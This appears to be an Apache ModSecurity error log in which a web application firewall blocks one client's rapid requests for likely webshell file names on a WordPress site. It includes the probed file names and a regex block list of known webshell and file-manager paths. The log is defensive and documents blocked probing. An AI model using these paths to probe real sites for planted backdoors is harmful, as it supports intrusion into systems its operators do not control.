[Thu Apr 09 19:52:04.592465 2026] [:error] [pid 63331:tid 63353] [client 20.234.89.162:8303] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adeS5CbKfIYuVjWbE4VIQwAAAdQ"]
[Thu Apr 09 19:52:05.224075 2026] [:error] [pid 63331:tid 63348] [client 20.234.89.162:8837] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adeS5SbKfIYuVjWbE4VISAAAAc8"]
[Thu Apr 09 19:52:05.861798 2026] [:error] [pid 63331:tid 63349] [client 20.234.89.162:8866] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adeS5SbKfIYuVjWbE4VITQAAAdA"]
[Thu Apr 09 19:52:06.444460 2026] [:error] [pid 24624:tid 24639] [client 20.234.89.162:8294] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kolda.php"] [unique_id "adeS5u4Jn-WvK1ZBTvjNqQAAAM0"]
[Thu Apr 09 19:52:07.018339 2026] [:error] [pid 24515:tid 24541] [client 20.234.89.162:8936] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adeS561OMnvM2fMnB1OWBQAAABY"]
[Thu Apr 09 19:52:07.548046 2026] [:error] [pid 24517:tid 24578] [client 20.234.89.162:8833] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adeS53boYEn2ZFM_PS96TwAAAIQ"]
[Thu Apr 09 19:52:08.548405 2026] [:error] [pid 24624:tid 24641] [client 20.234.89.162:8838] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adeS6O4Jn-WvK1ZBTvjNsAAAAM8"]
[Thu Apr 09 19:52:09.488626 2026] [:error] [pid 24517:tid 24586] [client 20.234.89.162:8281] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "adeS6XboYEn2ZFM_PS96UQAAAIw"]
[Thu Apr 09 19:52:10.484169 2026] [:error] [pid 24515:tid 24527] [client 20.234.89.162:8858] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adeS6q1OMnvM2fMnB1OWCgAAAAg"]
[Thu Apr 09 19:52:11.046735 2026] [:error] [pid 24624:tid 24636] [client 20.234.89.162:8951] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adeS6-4Jn-WvK1ZBTvjNtAAAAMo"]
[Thu Apr 09 19:52:11.645247 2026] [:error] [pid 24515:tid 24522] [client 20.234.89.162:8283] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adeS661OMnvM2fMnB1OWEAAAAAM"]
[Thu Apr 09 19:52:12.158992 2026] [:error] [pid 24624:tid 24640] [client 20.234.89.162:8265] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/red.php"] [unique_id "adeS7O4Jn-WvK1ZBTvjNuAAAAM4"]
[Thu Apr 09 19:52:12.857937 2026] [:error] [pid 24624:tid 24648] [client 20.234.89.162:8287] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adeS7O4Jn-WvK1ZBTvjNugAAANY"]
[Thu Apr 09 19:52:14.142947 2026] [:error] [pid 63331:tid 63352] [client 20.234.89.162:8929] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adeS7ibKfIYuVjWbE4VIWgAAAdM"]
[Thu Apr 09 19:52:14.804915 2026] [:error] [pid 63331:tid 63336] [client 20.234.89.162:8860] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ss.php"] [unique_id "adeS7ibKfIYuVjWbE4VIXQAAAcM"]
[Thu Apr 09 19:52:22.644176 2026] [:error] [pid 63331:tid 63350] [client 20.234.89.162:8312] [client 20.234.89.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "adeS9ibKfIYuVjWbE4VIiQAAAdE"]
[Thu Apr 09 19:52:26.747047 2026] [:error] [pid 24515:tid 24520] [client 20.234.89.162:8273] [client 20.234.89.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "adeS-q1OMnvM2fMnB1OWHQAAAAE"]
[Thu Apr 09 19:52:34.365798 2026] [:error] [pid 20837:tid 20862] [client 20.234.89.162:8832] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "adeTAvSL71FHZkjrGzPeNwAAAZc"]
[Thu Apr 09 19:52:35.187774 2026] [:error] [pid 18477:tid 18500] [client 20.234.89.162:8271] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "adeTA8De826HlFeoLPKUbgAAAVU"]
[Thu Apr 09 19:52:35.979384 2026] [:error] [pid 24927:tid 24954] [client 20.234.89.162:8307] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "adeTAzXObuzEuw8mNJsYLwAAARg"]
[Thu Apr 09 19:52:37.097821 2026] [:error] [pid 20837:tid 20860] [client 20.234.89.162:8319] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "adeTBfSL71FHZkjrGzPeOwAAAZU"]
[Thu Apr 09 19:52:37.897451 2026] [:error] [pid 20837:tid 20848] [client 20.234.89.162:8925] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adeTBfSL71FHZkjrGzPePQAAAYk"]
[Thu Apr 09 19:52:38.644144 2026] [:error] [pid 20837:tid 20844] [client 20.234.89.162:8311] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adeTBvSL71FHZkjrGzPeQQAAAYU"]
[Thu Apr 09 19:52:39.609431 2026] [:error] [pid 63331:tid 63338] [client 20.234.89.162:8920] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adeTBybKfIYuVjWbE4VI6wAAAcU"]
[Thu Apr 09 19:52:41.032927 2026] [:error] [pid 20837:tid 20856] [client 20.234.89.162:8958] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "adeTCfSL71FHZkjrGzPeSQAAAZE"]
[Thu Apr 09 19:52:41.703506 2026] [:error] [pid 20837:tid 20845] [client 20.234.89.162:8313] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adeTCfSL71FHZkjrGzPeSwAAAYY"]
[Thu Apr 09 19:52:43.076647 2026] [:error] [pid 24516:tid 24559] [client 20.234.89.162:9123] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adeTC9hW7vSS-UkeWCUpxwAAAEw"]
[Thu Apr 09 19:52:43.821213 2026] [:error] [pid 24624:tid 24630] [client 20.234.89.162:8288] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adeTC-4Jn-WvK1ZBTvjNywAAAMQ"]
[Thu Apr 09 19:52:44.643450 2026] [:error] [pid 24516:tid 24562] [client 20.234.89.162:8941] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "adeTDNhW7vSS-UkeWCUpygAAAE8"]
[Thu Apr 09 19:52:45.512433 2026] [:error] [pid 24927:tid 24931] [client 20.234.89.162:9099] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adeTDTXObuzEuw8mNJsYOAAAAQE"]
[Thu Apr 09 19:52:46.291722 2026] [:error] [pid 20837:tid 20852] [client 20.234.89.162:8931] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adeTDvSL71FHZkjrGzPeUAAAAY0"]
[Thu Apr 09 19:52:46.949877 2026] [:error] [pid 20837:tid 20839] [client 20.234.89.162:8305] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adeTDvSL71FHZkjrGzPeUwAAAYA"]
[Thu Apr 09 19:52:47.614807 2026] [:error] [pid 20837:tid 20846] [client 20.234.89.162:8290] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tiny2.php"] [unique_id "adeTD_SL71FHZkjrGzPeVwAAAYc"]
[Thu Apr 09 19:52:48.201700 2026] [:error] [pid 63331:tid 63356] [client 20.234.89.162:8919] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adeTECbKfIYuVjWbE4VI-gAAAdc"]
[Thu Apr 09 19:52:49.386866 2026] [:error] [pid 24517:tid 24589] [client 20.234.89.162:8845] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adeTEXboYEn2ZFM_PS96ZgAAAI8"]
[Thu Apr 09 19:52:49.988895 2026] [:error] [pid 24516:tid 24556] [client 20.234.89.162:9092] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adeTEdhW7vSS-UkeWCUp0QAAAEk"]
[Thu Apr 09 19:52:50.645505 2026] [:error] [pid 24624:tid 24649] [client 20.234.89.162:8839] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ava.php"] [unique_id "adeTEu4Jn-WvK1ZBTvjN2wAAANc"]
[Thu Apr 09 19:52:51.452282 2026] [:error] [pid 63331:tid 63352] [client 20.234.89.162:8952] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "adeTEybKfIYuVjWbE4VJAAAAAdM"]
[Thu Apr 09 19:52:52.110573 2026] [:error] [pid 63331:tid 63337] [client 20.234.89.162:8301] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "adeTFCbKfIYuVjWbE4VJBQAAAcQ"]
[Thu Apr 09 19:52:52.760685 2026] [:error] [pid 24515:tid 24531] [client 20.234.89.162:8318] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "adeTFK1OMnvM2fMnB1OWMwAAAAw"]
[Thu Apr 09 19:52:53.660781 2026] [:error] [pid 24515:tid 24527] [client 20.234.89.162:8907] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/awh.php"] [unique_id "adeTFa1OMnvM2fMnB1OWOQAAAAg"]
[Thu Apr 09 19:52:54.462484 2026] [:error] [pid 24515:tid 24521] [client 20.234.89.162:8871] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "adeTFq1OMnvM2fMnB1OWOwAAAAI"]
[Thu Apr 09 19:52:55.504610 2026] [:error] [pid 24515:tid 24523] [client 20.234.89.162:8871] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "adeTF61OMnvM2fMnB1OWQgAAAAQ"]
[Thu Apr 09 19:52:56.130424 2026] [:error] [pid 20837:tid 20861] [client 20.234.89.162:8895] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "adeTGPSL71FHZkjrGzPeYAAAAZY"]
[Thu Apr 09 19:52:57.006566 2026] [:error] [pid 20837:tid 20845] [client 20.234.89.162:8915] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/r2.php"] [unique_id "adeTGfSL71FHZkjrGzPeZQAAAYY"]
[Thu Apr 09 19:52:57.752760 2026] [:error] [pid 24517:tid 24579] [client 20.234.89.162:8847] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adeTGXboYEn2ZFM_PS96bAAAAIU"]
[Thu Apr 09 19:52:58.466013 2026] [:error] [pid 24515:tid 24542] [client 20.234.89.162:8879] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adeTGq1OMnvM2fMnB1OWTgAAABc"]
[Thu Apr 09 19:52:59.568878 2026] [:error] [pid 63331:tid 63357] [client 20.234.89.162:8883] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adeTGybKfIYuVjWbE4VJCgAAAdg"]
[Thu Apr 09 19:53:00.846595 2026] [:error] [pid 24516:tid 24565] [client 20.234.89.162:8947] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adeTHNhW7vSS-UkeWCUp3gAAAFI"]
[Thu Apr 09 19:53:01.711056 2026] [:error] [pid 18477:tid 18495] [client 20.234.89.162:8912] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "adeTHcDe826HlFeoLPKUgAAAAVA"]
[Thu Apr 09 19:53:02.263931 2026] [:error] [pid 18477:tid 18497] [client 20.234.89.162:8854] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "adeTHsDe826HlFeoLPKUgQAAAVI"]
[Thu Apr 09 19:53:03.516391 2026] [:error] [pid 20837:tid 20853] [client 20.234.89.162:9097] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "adeTH_SL71FHZkjrGzPecQAAAY4"]
[Thu Apr 09 19:53:04.335872 2026] [:error] [pid 63331:tid 63335] [client 20.234.89.162:8949] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "adeTICbKfIYuVjWbE4VJFAAAAcI"]
[Thu Apr 09 19:53:05.151399 2026] [:error] [pid 24624:tid 24640] [client 20.234.89.162:8310] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adeTIe4Jn-WvK1ZBTvjN8QAAAM4"]
[Thu Apr 09 19:53:05.963554 2026] [:error] [pid 18477:tid 18499] [client 20.234.89.162:8868] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-wp-image.php"] [unique_id "adeTIcDe826HlFeoLPKUhAAAAVQ"]
